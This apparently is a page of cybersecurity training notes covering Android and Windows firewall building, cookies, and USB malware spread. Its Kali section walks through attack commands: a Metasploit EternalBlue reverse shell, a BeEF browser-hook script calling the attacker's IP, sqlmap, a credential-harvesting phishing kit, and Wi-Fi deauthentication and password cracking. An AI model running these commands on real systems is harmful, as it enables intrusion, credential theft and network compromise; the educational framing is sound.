https://www.istm.gov.in/home/user_datails/234
Kali Linux is a specialized Linux distribution used for ethical hacking, penetration testing, and cybersecurity research.┬а
Parrot OS тАУ Lightweight and privacy-focused; includes hacking + anonymity tools.
BackBox тАУ Ubuntu-based, designed for penetration testing and vulnerability assessment.
BlackArch Linux тАУ Arch-based distro with 2,800+ hacking tools.
Pentoo тАУ Gentoo-based, focused on penetration testing and security auditing.
DEFT Linux тАУ Focused on digital forensics and incident response.
NST (Network Security Toolkit) тАУ Fedora-based, for network security analysis.
CAINE тАУ Specifically for computer forensics and data recovery.
Each has its own strengths тАФ but Kali and Parrot OS are the most widely used for offensive security.
ЁЯНк What Are Cookies (in the context of the web)?
Cookies are small pieces of data that websites store in your browser to remember things about you тАФ like login status, preferences, or whatтАЩs in your shopping cart.
ЁЯза Think of cookies like:
A note the website gives your browser to remember you next time.
They help websites feel more "personal" and keep track of what you're doing.
ЁЯФН What Do Cookies Store?
Your login session
Website preferences (language, theme, layout)
Items in your shopping cart
Whether you've seen a popup or ad
Sometimes: tracking info for ads or analytics
ЁЯНк Types of Cookies:
Type Purpose
Session Cookies Temporary, deleted when you close the browser
Persistent Cookies Stored even after you close the browser (used for "Remember Me" logins)
First-party Cookies Set by the site you're visiting
Third-party Cookies Set by other sites (like advertisers) embedded in the site you're on
тЪая╕П Are Cookies Dangerous?
Cookies themselves are not viruses or malware.
But they can track your behavior, especially third-party cookies (used for ads and profiling).
That's why some users block or clear cookies for privacy.
ЁЯз╝ How to Manage Cookies:
In browser settings:
Chrome тЖТ Settings тЖТ Privacy and Security тЖТ Cookies and site data
Firefox тЖТ Settings тЖТ Privacy & Security тЖТ Cookies
Modus Operandi (MO) is a Latin term that means "method of operation."
In security and crime-related contexts, it refers to:
The specific way or pattern in which a crime or security breach is typically committed.
It includes:
Techniques used by criminals or attackers
Tools or technologies employed
Behavioral patterns and target selection
Timing, location, and method of execution
ЁЯСЙ Understanding the MO helps in anticipating, detecting, and preventing future threats.
Here are common security tips and techniques (especially for cyber and physical security):
ЁЯФР 1. Password Safety
Use strong, unique passwords
Enable 2-factor authentication
Avoid sharing passwords
ЁЯМР 2. Internet Safety
Avoid clicking on unknown links/emails
Use HTTPS websites only
Clear browsing data regularly
ЁЯТ╗ 3. Device Protection
Install antivirus and keep it updated
Use firewalls
Lock screen when not in use
ЁЯзСтАНЁЯТ╝ 4. Social Engineering Awareness
DonтАЩt share sensitive info over calls/emails
Verify identity before responding
Be cautious of phishing or impersonation
ЁЯУБ 5. Data Security
Backup data regularly
Encrypt sensitive files
Follow access control policies
ЁЯПв 6. Physical Security
Use ID cards, biometric access
Monitor CCTV regularly
Keep entry-exit logs for visitors
ЁЯЫС 7. Incident Reporting
Report suspicious activity immediately
Maintain a security incident register
ЁЯза 8. Awareness and Training
Conduct regular awareness sessions
Simulated drills (cyber/physical threats)
Promote a "security-first" culture
You can build a firewall app using AndroidтАЩs VPNService API, which lets you create a local VPN tunnel and filter traffic.
Android Studio
Java or Kotlin
Basic understanding of Android app development
Permissions: BIND_VPN_SERVICE, INTERNET, etc.
Intercept traffic using VPNService
Filter or block traffic based on app, IP, port, or domain
Allow or deny connections
Optionally log traffic
Create a VPNService subclass
Override establish() to set up tunnel
Use ParcelFileDescriptor to capture traffic
Parse packets (optional: use a library like Pcap4J)
Add filtering rules based on user input
Forward allowed packets to destination
Block or drop others
A rooted Android device means:
You have full control over your phone тАФ like the "admin" or "owner" of everything inside it.
Imagine your phone is a tractor.
Normally, youтАЩre only allowed to drive it and change a few settings.
But you canтАЩt open the engine, change deep parts, or install powerful tools.
When you root it, itтАЩs like getting the master key to open up everything:
You can modify the engine
Remove built-in parts
Add new, custom parts
Do things the company usually doesnтАЩt allow
It removes the restrictions put by the manufacturer (like Samsung, Vivo, etc.)
You can now:
Install special apps
Change system files
Control the whole device like a hacker or developer
Rooting can void warranty
You might break the phone if something goes wrong
Can make your device less secure if not managed properly
So in short:
Rooting = Getting full control of your phone, like becoming the тАЬbossтАЭ of it.
If your Android is rooted:
Use iptables (Linux command-line firewall system)
Write your own firewall rules (e.g., block a certain IP, port, or app UID)
Automate with shell scripts or Termux
Example:
iptables -A OUTPUT -p tcp --dport 80 -j DROP
Set up a Raspberry Pi or old PC with Linux
Install iptables, UFW, or pfSense
Connect all devices through that router/firewall
Control/block traffic network-wide
Custom firewalls need deep packet inspection if you're doing advanced filtering
VPN-based firewalls wonтАЩt work simultaneously with commercial VPNs
Be mindful of battery and performance issues if running real-time traffic filters
Platform = Way to Build Firewall
Android (no root) = Use VPNService API (Java/Kotlin app)
Android (rooted) = Use iptables
Laptop/Desktop = Use UFW, Windows Firewall, or write custom scripts
Network-wide = Set up a Raspberry Pi or pfSense box
ЁЯУ▒ Android Firewall App (No Root Needed)
Android Studio
Java or Kotlin
API Level 21+
xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
┬а┬а┬а┬аpackage="com.example.firewall">
┬а┬а┬а┬а<application
┬а┬а┬а┬а┬а┬а┬а┬аandroid:allowBackup="true"
┬а┬а┬а┬а┬а┬а┬а┬аandroid:label="Firewall"
┬а┬а┬а┬а┬а┬а┬а┬аandroid:supportsRtl="true"
┬а┬а┬а┬а┬а┬а┬а┬аandroid:theme="@style/Theme.AppCompat.Light.DarkActionBar">
┬а┬а┬а┬а┬а┬а┬а┬а
┬а┬а┬а┬а┬а┬а┬а┬а<service
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аandroid:name=".MyVPNService"
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аandroid:permission="android.permission.BIND_VPN_SERVICE">
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а<intent-filter>
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а<action android:name="android.net.VpnService" />
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а</intent-filter>
┬а┬а┬а┬а┬а┬а┬а┬а</service>
┬а┬а┬а┬а</application>
</manifest>
import android.net.VpnService;
import android.os.ParcelFileDescriptor;
import java.io.IOException;
public class MyVPNService extends VpnService {
┬а┬а┬а┬аprivate ParcelFileDescriptor vpnInterface;
┬а┬а┬а┬а@Override
┬а┬а┬а┬аpublic void onCreate() {
┬а┬а┬а┬а┬а┬а┬а┬аsuper.onCreate();
┬а┬а┬а┬а┬а┬а┬а┬аstartVPN();
┬а┬а┬а┬а}
┬а┬а┬а┬аprivate void startVPN() {
┬а┬а┬а┬а┬а┬а┬а┬аBuilder builder = new Builder();
┬а┬а┬а┬а┬а┬а┬а┬аbuilder.setSession("MyFirewallVPN")
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а.addAddress("10.0.0.2", 32)┬а // Virtual IP
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а.addRoute("0.0.0.0", 0); ┬а ┬а // Route all traffic
┬а┬а┬а┬а┬а┬а┬а┬аtry {
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аvpnInterface = builder.establish();
┬а┬а┬а┬а┬а┬а┬а┬а} catch (Exception e) {
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аe.printStackTrace();
┬а┬а┬а┬а┬а┬а┬а┬а}
┬а┬а┬а┬а}
┬а┬а┬а┬а@Override
┬а┬а┬а┬аpublic void onDestroy() {
┬а┬а┬а┬а┬а┬а┬а┬аsuper.onDestroy();
┬а┬а┬а┬а┬а┬а┬а┬аtry {
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аif (vpnInterface != null) {
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аvpnInterface.close();
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аvpnInterface = null;
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а}
┬а┬а┬а┬а┬а┬а┬а┬а} catch (IOException e) {
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аe.printStackTrace();
┬а┬а┬а┬а┬а┬а┬а┬а}
┬а┬а┬а┬а}
}
xml
<uses-permission android:name="android.permission.INTERNET" />
import android.content.Intent;
import android.net.VpnService;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
┬а┬а┬а┬аprivate static final int VPN_REQUEST_CODE = 0x0F;
┬а┬а┬а┬а@Override
┬а┬а┬а┬аprotected void onCreate(Bundle savedInstanceState) {
┬а┬а┬а┬а┬а┬а┬а┬аsuper.onCreate(savedInstanceState);
┬а┬а┬а┬а┬а┬а┬а┬аIntent intent = VpnService.prepare(this);
┬а┬а┬а┬а┬а┬а┬а┬аif (intent != null) {
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аstartActivityForResult(intent, VPN_REQUEST_CODE);
┬а┬а┬а┬а┬а┬а┬а┬а} else {
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аonActivityResult(VPN_REQUEST_CODE, RESULT_OK, null);
┬а┬а┬а┬а┬а┬а┬а┬а}
┬а┬а┬а┬а}
┬а┬а┬а┬а@Override
┬а┬а┬а┬аprotected void onActivityResult(int requestCode, int resultCode, Intent data) {
┬а┬а┬а┬а┬а┬а┬а┬аif (requestCode == VPN_REQUEST_CODE && resultCode == RESULT_OK) {
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аIntent intent = new Intent(this, MyVPNService.class);
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аstartService(intent);
┬а┬а┬а┬а┬а┬а┬а┬а}
┬а┬а┬а┬а┬а┬а┬а┬аsuper.onActivityResult(requestCode, resultCode, data);
┬а┬а┬а┬а}
}
Creates a dummy VPN interface
Routes all traffic through it
DoesnтАЩt filter yet тАФ you can build filtering logic using packet inspection libraries (like Pcap4J, jNetPcap)
Add traffic filtering by IP/domain
Use selectors to allow/block traffic per app
Log and display data usage per app
Build a UI with toggles for each app
To create a basic Android firewall app that uses code.
ThatтАЩs where youтАЩll write the app.
Android Studio is like the kitchen where youтАЩll "cook" your app (code, run, test it).
Download & install it (it's free).
Open it тАФ it might take a few minutes to set up.
Click "New Project"
Choose "Empty Activity"
Name your app: e.g., MyFirewallApp
Language: Choose Java
Click Finish
Now Android Studio will create a basic app project for you. Think of it like the empty pot where you'll add your ingredients (your code).
You will see folders like:
app >
┬а┬а┬а┬аjava >
┬а┬а┬а┬а┬а┬а┬а┬аcom.example.myfirewallapp >
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аMainActivity.java тЖР (Paste MainActivity code here)
Double-click MainActivity.java
Replace everything inside it with the code I gave for MainActivity
Next:
Right-click the same folder (com.example...) тЖТ New тЖТ Java Class тЖТ Name it MyVPNService
Paste the code for MyVPNService.java here.
Now:
YouтАЩll find it here:
nginx
app > manifests > AndroidManifest.xml
Add the permissions and service code given there
тЬЕ You can either:
Connect your Android phone via USB (Enable "Developer Options" and "USB Debugging")
Or use the built-in Emulator in Android Studio
Then click the green Play button (тЦ╢я╕П) to launch your app.
The app will ask for permission to create a VPN connection
Tap "Allow"
Now your app starts routing traffic тАФ your firewall foundation is ready!
ЁЯСЙ Install it on your laptop or PC.
ЁЯТ╗ NOT on your Android phone.
Go to this link on your laptop:
ЁЯСЙ https://developer.android.com/studio
Click the big тАЬDownload Android StudioтАЭ button
Agree to terms тЖТ Download starts
Once the .exe (for Windows) or .dmg (for Mac) file is downloaded:
Open the file
Click Next тЖТ Next тЖТ Install
After installation, open Android Studio
It gives you the full tools to create Android apps
You write and test your firewall app on your laptop
Then you install it (run it) on your Android phone
Question - Answer
Where to install Android Studio? - ЁЯТ╗ On your laptop
Can I install it on Android phone? - тЭМ No, not possible
What do I do after installation? - тЬЕ Create your app and test it on phone
ЁЯЯв What is F-Droid?
F-Droid is like a Play Store тАФ but for free and open-source apps only.
тЬЕ It's a place where you can download Android apps that are:
Free of cost
Open-source (you can see and check the code)
No ads, no tracking, no spying
Often useful for techies, developers, ethical hackers, and privacy-conscious users
It was started by the F-Droid community in 2010
It is maintained by independent developers and privacy advocates
ItтАЩs not controlled by Google, which makes it very different from Play Store
Apps like:
ЁЯФР Privacy tools (NetGuard, TrackerControl)
ЁЯзСтАНЁЯТ╗ Developer tools (Termux, packet sniffers)
ЁЯУ▒ Root tools (AFWall+, OpenVPN, firewall apps)
ЁЯзШтАНтЩАя╕П Minimal apps (lightweight browsers, note apps, etc.)
Feature = F-Droid = Play Store
Ads - тЭМ No ads┬а - тЬЕ Many apps have ads
Trackers - тЭМ No spying - тЪая╕П Some apps track you
Source Code - тЬЕ Open-source - тЭМ Not available
Root Tools - тЬЕ Many available - тЭМ Often banned
Free Apps┬а -┬а Totally free - тЪая╕П Some paid, some free
тЪая╕П You wonтАЩt find F-Droid on the Play Store (Google doesn't allow it!)
On your phone, open any browser
Go to ЁЯСЙ https://f-droid.org
Download the F-Droid APK
When asked, allow тАЬInstall from unknown sourcesтАЭ
Install and open F-Droid
Browse and install apps like Termux, AFWall+, etc.
Think of F-Droid as a local organic market тАФ everything is clean, open, and safe тАФ compared to a big supermarket (Play Store) that sells both healthy and junk stuff with ads everywhere.
ЁЯСЙ iptables is a firewall command-line tool used in Linux systems (including Android, because Android is built on Linux!).
It helps you:
Block or allow internet for apps
Control incoming and outgoing network traffic
Protect the system by setting rules
iptables is like a digital traffic policeman.
You write rules like:
"Let Chrome go online" тЬЕ
"Block WhatsApp from internet" тЭМ
"Stop all outgoing traffic" ЁЯЪл
(but only if it is rooted тЭЧ)
Not on your laptop.
ЁЯФ╣ 1. Termux App (from F-Droid, not Play Store)
A terminal app (like command prompt for Android)
You type commands in it
Works like a mini Linux on your phone
ЁЯФ╣ 2. Root Terminal App
Any terminal that allows su (superuser) command
You need to grant root permission when asked
Install Termux from https://f-droid.org/
Open Termux
Type this command to get root access:
su
(Your phone will ask: "Grant Root Access?" тЖТ tap ALLOW)
Now you can use iptables commands like:
iptables -P OUTPUT DROP┬а # block all outgoing traffic
or:
iptables -A OUTPUT -m owner --uid-owner 10123 -j ACCEPT
(Allow traffic only for an app with UID 10123)
You are doing powerful system-level stuff, so be cautious
These commands only work if your device is rooted
After rebooting, rules go away unless you save them or use a firewall app like AFWall+
If you're not comfortable typing commands, install AFWall+ and just check/uncheck boxes to allow or block apps.
Question - Answer
What is iptables? - A Linux firewall command system
Where to run it? - On rooted Android phone using apps like Termux
Can I run it on laptop? - тЭМ No, not for controlling your phone's internet
Is there an easy way? - тЬЕ Yes! Use AFWall+ app instead
This is like writing your own firewall script тАФ the same as a Linux computer.
A rooted Android device
A terminal app (like Termux or a Root-enabled Terminal Emulator)
Superuser (root) access
BusyBox (optional but helpful)
ЁЯФТ Block all outgoing internet:
su
iptables -P OUTPUT DROP
ЁЯМР Allow only browser (say Chrome) to use internet:
First, find Chrome's UID:
dumpsys package com.android.chrome | grep userId=
Assume it shows UID: 10123
Now allow only Chrome:
iptables -A OUTPUT -m owner --uid-owner 10123 -j ACCEPT
ЁЯЫС Block WhatsApp from internet:
Find UID of WhatsApp:
bash
dumpsys package com.whatsapp | grep userId=
Then:
iptables -A OUTPUT -m owner --uid-owner <WhatsApp_UID> -j DROP
These rules reset after reboot. To make them permanent, use init.d scripts, firewall apps for rooted phones, or write a boot script.
Be careful тАФ blocking the wrong UID might break important apps.
ЁЯФ╣ AFWall+ (Android Firewall Plus)
Free app from Play Store or F-Droid
Uses iptables in background
Easy UI to block internet per app (Wi-Fi/data)
ЁЯТб Tip: After installing AFWall+, grant root access, then simply toggle apps to block/allow internet.
Option - Tool - Skill Level
Write your own firewall - iptables in Termux -┬а - IntermediateтАУAdvanced
Easy UI method - AFWall+ = BeginnerтАУFriendly
In windows powershell type the following command┬а
Get-NetFirewallProfile
It means youтАЩll:
Control which apps can access internet
Block incoming or outgoing connections
Set custom rules to protect your computer from hackers or leaks
Windows already comes with a powerful firewall, and you can create custom rules in it тАФ no need to install anything.
Search "Windows Defender Firewall" in Start Menu
Click тАЬAdvanced SettingsтАЭ on the left side
This opens Windows Firewall with Advanced Security
Now, youтАЩll see:
Inbound Rules тАУ For connections coming into your computer
Outbound Rules тАУ For connections leaving your computer
LetтАЩs say you want to block Chrome:
Click Outbound Rules > New Rule (on right side)
Select Program > Next
Browse and select the app you want to block (e.g., chrome.exe)
Choose Block the connection > Next
Select all profiles (Domain, Private, Public) > Next
Name it тАЬBlock ChromeтАЭ > Finish тЬЕ
ЁЯОЙ Done! Chrome can no longer access the internet.
If you love command-line:
powershell
CopyEdit
New-NetFirewallRule -DisplayName "Block Chrome" -Direction Outbound -Program "C:\Program Files\Google\Chrome\Application\chrome.exe" -Action Block
This does the same as above тАФ but faster.
If youтАЩre a developer (or learning):
Use languages like Python, C#, or C++
Use Windows Filtering Platform (WFP) APIs
Or use WinDivert тАУ a Windows packet capture/divert library
But this is very advanced and not needed unless you're building a full custom product.
Goal = Method
Block internet for apps = Use Windows Firewall Advanced Settings
Do it with commands = Use PowerShell
Build full custom firewall = Use C#/C++ + WinDivert or WFP (Advanced)
Use this if you want to quickly block or allow apps from accessing the internet.
ЁЯФР Example: Block Chrome from using the internet
powershell
CopyEdit
New-NetFirewallRule -DisplayName "Block Chrome Outbound" `
┬а┬а┬а┬а-Direction Outbound `
┬а┬а┬а┬а-Program "C:\Program Files\Google\Chrome\Application\chrome.exe" `
┬а┬а┬а┬а-Action Block
You can first block everything and then allow specific apps:
powershell
CopyEdit
# Block all outbound traffic (тЪая╕П Be careful!)
Set-NetFirewallProfile -Profile Domain,Public,Private -DefaultOutboundAction Block
# Allow Notepad
New-NetFirewallRule -DisplayName "Allow Notepad" `
┬а┬а┬а┬а-Direction Outbound `
┬а┬а┬а┬а-Program "C:\Windows\System32\notepad.exe" `
┬а┬а┬а┬а-Action Allow
тЬЕ To undo, run:
powershell
CopyEdit
Set-NetFirewallProfile -Profile Domain,Public,Private -DefaultOutboundAction Allow
Press Start тЖТ search тАЬPowerShellтАЭ тЖТ Run as Administrator
Paste the above code and hit Enter
Done! YouтАЩve created a firewall rule ЁЯФР
You can also capture and analyze packets using Python + pydivert (a wrapper for WinDivert).
bash
CopyEdit
pip install pydivert
python
CopyEdit
import pydivert
with pydivert.WinDivert("outbound and ip.DstAddr == 157.240.0.0/16") as w:┬а # Facebook IP Range
┬а┬а┬а┬аfor packet in w:
┬а┬а┬а┬а┬а┬а┬а┬аprint("Blocked:", packet.dst_addr)
┬а┬а┬а┬а┬а┬а┬а┬а# Drop the packet = block it (do not re-inject)
This will block outbound traffic to Facebook's IP range.
тЪая╕П Run as Administrator (script needs admin rights to work).
Task = Tool = Code Type
Block an app (e.g., Chrome) = PowerShell = тЬЕ Simple & Recommended
Block websites/IPs = Python + pydivert = ЁЯФз Advanced
Custom rule-based blocking = C#/C++ with WinDivert/WFP = ЁЯСитАНЁЯТ╗ Expert Level
You insert the USB pen drive into the port.
The motherboard's USB controller sends a signal to the Windows kernel: тАЬHey, something new is connected!тАЭ
Windows checks what kind of device is connected using Plug and Play (PnP).
It reads the deviceтАЩs Vendor ID, Product ID, and Device Class.
If drivers are already available, it installs automatically (usually silently in seconds).
Windows sees the USB as a storage device (Disk Drive class).
It checks the file system (FAT32, exFAT, NTFS, etc.)
If itтАЩs valid, it assigns a drive letter (like E:\ or F:)
ЁЯФН This is when you hear the "ding" sound, and the USB becomes visible.
Windows looks for a file called autorun.inf on the drive.
This file can tell Windows: тАЬOpen this file or app automatically.тАЭ
тЪая╕П AutoRun is disabled by default in modern Windows (for security), but older PCs or misconfigured systems may still allow it. ThatтАЩs how viruses can launch automatically.
The explorer.exe process (your file browser) updates the drive list.
You now see the USB in "This PC" and can click to open it.
HereтАЩs how a virus might sneak in:
If AutoRun is on, a file like malware.exe is automatically executed.
This could be a keylogger, ransomware, worm, or backdoor.
Example autorun.inf content:
[autorun]
open=malware.exe
Even if AutoRun is off, you might double-click an infected file (e.g., PDF, EXE, DOC with macros).
Boom ЁЯТе тАФ virus activates.
It may store itself in:
Startup Folder
C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Registry (auto start entry)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
System Folders (hidden)
C:\Windows\System32
C:\Users\<Username>\AppData\Local\Temp
Scheduled Tasks
Creates hidden tasks to auto-run on boot
Renames itself like тАЬsvchost.exeтАЭ to look like a system file
Hides with attributes: attrib +h +s +r malware.exe
Runs in background silently
Use Task Manager or Process Explorer
Use tools like Autoruns (by Sysinternals)
Scan with good antivirus or Windows Defender Offline Scan
pgsql
CopyEdit
Plug USB тЖТ Detected by USB controller тЖТ Windows loads driver тЖТ Mounts file system тЖТ AutoRun checked тЖТ File Explorer shows drive тЖТ Virus may auto-run or be clicked тЖТ Virus copies itself to system folders/startup тЖТ Tries to hide and run at boot
Disable AutoRun (usually already disabled in Win 10/11)
Never run unknown EXE files from a USB
Always scan USB with antivirus first
Keep тАЬshow hidden filesтАЭ ON to spot suspicious content
Kali Linux includes:
600+ pre-installed tools
Each tool typically has multiple commands, flags, or usage options
тЬЕ On average, each tool can have 10тАУ50+ commands or options.
тЮбя╕П So, roughly:
600 tools ├Ч average 20 commands = 12,000+ possible hacking-related commands
This doesnтАЩt even count the standard Linux commands, which are also used for scripting, networking, and automation.
nmap тАУ 30+ common command variations
metasploit (msfconsole) тАУ 1000s of modules (each a command)
aircrack-ng тАУ 10тАУ15 core commands
sqlmap тАУ dozens of flags for different attack vectors
A big toolkit for finding and exploiting vulnerabilities in a target system.
bash
CopyEdit
msfconsole
ЁЯСЙ What it does:
Starts the Metasploit console тАФ the main interface where you type all commands.
bash
CopyEdit
use exploit/windows/smb/ms17_010_eternalblue
ЁЯСЙ What it does:
Loads an exploit that targets a Windows vulnerability called EternalBlue, used in real attacks like WannaCry.
bash
CopyEdit
set RHOSTS <target_ip>
ЁЯСЙ What it does:
Sets the IP address of the victim machine you want to attack.
bash
CopyEdit
set LHOST <your_ip>
ЁЯСЙ What it does:
Sets your own IP address тАФ so when the victim is hacked, it knows where to send access back (reverse shell).
bash
CopyEdit
set PAYLOAD windows/meterpreter/reverse_tcp
ЁЯСЙ What it does:
Tells Metasploit what kind of "weapon" to use. In this case: a reverse shell, which gives you control of the victimтАЩs machine.
bash
CopyEdit
run
ЁЯСЙ What it does:
Launches the attack. If successful, youтАЩll get access to the victimтАЩs computer.
Used to hack/control someoneтАЩs browser when they click a malicious link.
bash
CopyEdit
beef-xss
ЁЯСЙ What it does:
Starts the BeEF server. You use this to trap browsers that visit your fake web page.
html
CopyEdit
<script src="http://your_ip:3000/hook.js"></script>
ЁЯСЙ What it does:
When a victim opens a page with this code, their browser gets hooked тАФ meaning, you can now control their browser from your BeEF panel (e.g., pop-ups, steal cookies, redirect, etc.)
Like Metasploit, but made to hack routers and IoT devices (CCTV, smart TVs, etc.)
bash
CopyEdit
rsf
ЁЯСЙ What it does:
Starts RouterSploit's console.
bash
CopyEdit
use scanners/autopwn
ЁЯСЙ What it does:
Loads the module that automatically scans routers for known weaknesses.
bash
CopyEdit
set target <router_ip>
run
ЁЯСЙ What it does:
Targets the router at that IP and checks if itтАЩs vulnerable to attacks.
Tool to hack into databases behind websites using SQL injection.
bash
CopyEdit
sqlmap -u "http://target.com/product.php?id=1" --dbs
ЁЯСЙ What it does:
-u: URL of the vulnerable page
--dbs: Tells sqlmap to list the databases if the site is vulnerable
If it works, you can read data like usernames, passwords, etc.
Used for command injection attacks тАФ when a web app executes system commands without permission.
bash
CopyEdit
commix --url="http://target.com/index.php?name=test" --data="name=test"
ЁЯСЙ What it does:
Tests if you can inject system commands through the "name" field (like running ls, whoami, etc.) on the target's server.
Used to trick people (phishing) to give up passwords, or click fake websites.
bash
CopyEdit
setoolkit
ЁЯСЙ What it does:
Starts the Social Engineering Toolkit, an interactive menu tool.
Then you'd follow this path:
text
CopyEdit
1) Social-Engineering Attacks┬а┬а
2) Website Attack Vectors┬а┬а
3) Credential Harvester Attack Method
It creates a fake login page (like Facebook), and when the victim enters their password тАФ you get it.
Finds public exploit code from the Exploit Database (offline).
bash
CopyEdit
searchsploit apache struts
ЁЯСЙ What it does:
Searches for exploits related to Apache Struts (a common web app framework).
bash
CopyEdit
searchsploit -m linux/local/37292.c
ЁЯСЙ What it does:
Copies that exploit code into your working folder so you can compile and use it.
Tool = What It Does
Metasploit = Launches real system attacks (full control)
BeEF = Controls browser (like remote puppet)
RouterSploit = Hacks routers, cameras, IoT
sqlmap = Steals data from website databases
Commix = Runs system commands through web inputs
SET = Creates fake websites to trick users
SearchSploit = Lets you search and download real exploit codes
Use Wi-Fi exploitation tools only on networks you own or have permission to test. Unauthorized use is illegal and unethical.
airmon-ng
airodump-ng
aireplay-ng
aircrack-ng
wash and reaver (for WPS attacks)
wifite (automated Wi-Fi attack tool)
Fluxion (social engineering-based Wi-Fi phishing)
sudo airmon-ng start wlan0
ЁЯСЙ What it does: Enables monitor mode on your Wi-Fi card so it can "listen" to all traffic nearby (not just your network).
тЪая╕П Replace wlan0 with your adapter name if different (iwconfig to check)
sudo airodump-ng wlan0mon
ЁЯСЙ What it does: Shows nearby networks, BSSIDs (MAC addresses), channels, and client devices.
Note down the BSSID and channel of your target Wi-Fi network.
sudo airodump-ng --bssid <router_bssid> -c <channel> -w capture wlan0mon
ЁЯСЙ What it does:
Targets a specific router
Captures handshake packets (needed to crack password)
Saves data to a file (capture.cap)
sudo aireplay-ng --deauth 10 -a <router_bssid> -c <client_mac> wlan0mon
ЁЯСЙ What it does:
Sends fake disconnect signals to the user тАФ when they reconnect, you capture the handshake (Wi-Fi password exchange).
sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
ЁЯСЙ What it does:
Uses a wordlist (like rockyou.txt) to try different passwords and crack the captured handshake file.
sudo wifite
ЁЯСЙ What it does:
Scans and attacks Wi-Fi networks automatically using tools above (airodump, aircrack, etc.)
If the router has WPS enabled, try this:
sudo wash -i wlan0mon
ЁЯСЙ Shows WPS-enabled routers.
sudo reaver -i wlan0mon -b <bssid> -c <channel> -vv
ЁЯСЙ Tries to brute-force the WPS PIN and get the Wi-Fi password.
Tool = ┬аCommand = What It Does
airmon-ng = airmon-ng start wlan0 = Enable monitor mode
airodump-ng = airodump-ng wlan0mon = Scan Wi-Fi networks
airodump-ng (target) = airodump-ng --bssid BSSID -c CH -w capture wlan0mon = Capture handshake
aireplay-ng = aireplay-ng --deauth 10 -a BSSID -c CLIENT wlan0mon = Force reconnect
aircrack-ng = aircrack-ng capture.cap -w rockyou.txt = Crack password
wifite = wifite = Auto-attack Wi-Fi
reaver = reaver -i wlan0mon -b BSSID -vv = Brute-force WPS
sudo apt update && sudo apt upgrade -y┬а
The command sudo apt update && sudo apt upgrade -y is commonly used in Debian-based Linux distributions like Kali Linux to update and upgrade the system. Here's the breakdown:
Purpose: Runs the command with superuser (root) privileges because installing, updating, or modifying system files requires administrative rights.
Why Needed: Normal users donтАЩt have permission to make system-wide changes. sudo temporarily grants that power.
Purpose: This is the package manager used in Debian-based systems to handle software installation, updates, and removal.
Think of it as: The "app store" for Linux, but controlled via the terminal.
Purpose: This command tells apt to fetch the latest information about available software packages from online repositories (servers).
What It Does:
Downloads updated lists of available software and their versions.
Does NOT install anything yetтАФjust updates the list.
Analogy: ItтАЩs like refreshing the page to see if new apps are available in an app store.
Purpose: Allows you to chain commands together.
How It Works:
Runs the command on the left (sudo apt update).
Only if the first command succeeds, it runs the command on the right (sudo apt upgrade -y).
Why Useful: Ensures you donтАЩt upgrade outdated package lists. It prevents unnecessary errors.
Purpose: Installs the latest versions of all the packages currently installed on your system based on the updated package list from apt update.
What It Does:
Downloads and installs newer versions of software if available.
Keeps your system secure with the latest patches.
Key Point: It does NOT remove old packagesтАФit only upgrades existing ones.
Purpose: Automatically answers "yes" to all prompts that usually ask for confirmation during the upgrade.
Why Useful: Makes the process unattended, especially helpful when automating updates.
Without -y: The system would stop and ask:
"Do you want to continue? [Y/n]"
sudo apt update тЖТ Refreshes the list of software.
&& тЖТ Ensures the next step only runs if the update succeeded.
sudo apt upgrade -y тЖТ Installs all available updates automatically without asking for confirmation.
Apply security at every layer: network, endpoint, application, and data.
Implement network segmentation, micro-segmentation, and least privilege access.
Never trust, always verifyтАФeven within internal networks.
Continuously validate user identity, device health, and access policies.
Use tools like Microsoft Defender for Identity, Okta, or ZScaler ZTA solutions.
Deploy EDR solutions like CrowdStrike Falcon, SentinelOne, or Microsoft Defender ATP.
Use real-time analytics and threat hunting features.
Integrate with SIEM for centralized monitoring.
Subscribe to threat intelligence feeds (MISP, AlienVault OTX, IBM X-Force).
Use tools to correlate indicators of compromise (IOCs) with internal logs.
Automate IOC-based blocking using SOAR (Security Orchestration, Automation, and Response).
Use CIS Benchmarks and STIGs to harden systems.
Disable unnecessary ports, services, default accounts.
Monitor configuration drift using tools like Ansible, Chef, or Puppet.
Perform Static (SAST), Dynamic (DAST) and Interactive (IAST) security testing.
Secure APIs using OAuth2, rate limiting, JWT, and input validation.
Conduct threat modeling using STRIDE or DREAD frameworks.
Simulate real-world attacks (Red Team) vs. defenders (Blue Team).
Use MITRE ATT&CK framework to map adversary techniques.
Introduce Purple Teaming for collaboration and continuous improvement.
Implement centralized logging using SIEMs: Splunk, Elastic, QRadar, or Wazuh.
Set up alerts for anomalies like:
Lateral movement
Privilege escalation
Suspicious PowerShell scripts
Enforce IAM policies, multi-factor authentication, and least privilege on cloud platforms (AWS IAM, Azure RBAC, etc.).
Use Cloud Security Posture Management (CSPM) tools: Prisma Cloud, Wiz, Check Point Dome9.
